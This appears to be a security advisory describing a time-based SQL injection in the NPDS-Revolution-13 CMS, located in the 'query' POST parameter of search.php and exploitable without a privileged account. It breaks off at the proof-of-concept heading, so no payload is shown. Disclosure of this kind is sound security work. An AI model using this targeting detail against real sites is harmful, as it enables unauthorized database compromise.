Affected Product(s): ==================== NPDS-Revolution-13 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A sql injection web vulnerability has been discovered in the NPDS CMS - NPDS-Revolution-13. The vulnerability allows an attacker to inject sql commands by usage of a vulnerable value to compromise the application dbms. The sql injection vulnerability is located in the `query` parameter of the vulnerable `search.php ` application file. Remote attackers are able to inject own sql commands by usage of vulnerable `search.php ` file. A successful attack requires to manipulate a POST method request with vulnerable parameter `query` value to inject own sql commands. The injection is a time based ( tested ) by sql injection that allows to compromise the web-application and connected dbms. Request Method(s): [+] POST Vulnerable Module(s): [+] NPDS-Revolution-13 Vulnerable File(s): [+] search.php Vulnerable Parameter(s): [+] query Proof of Concept (PoC): ======================= The remote sql injection web vulnerability can be exploited by remote attackers without privileged application user account. For reproduce the security vulnerability follow the provided information and steps below to continue.
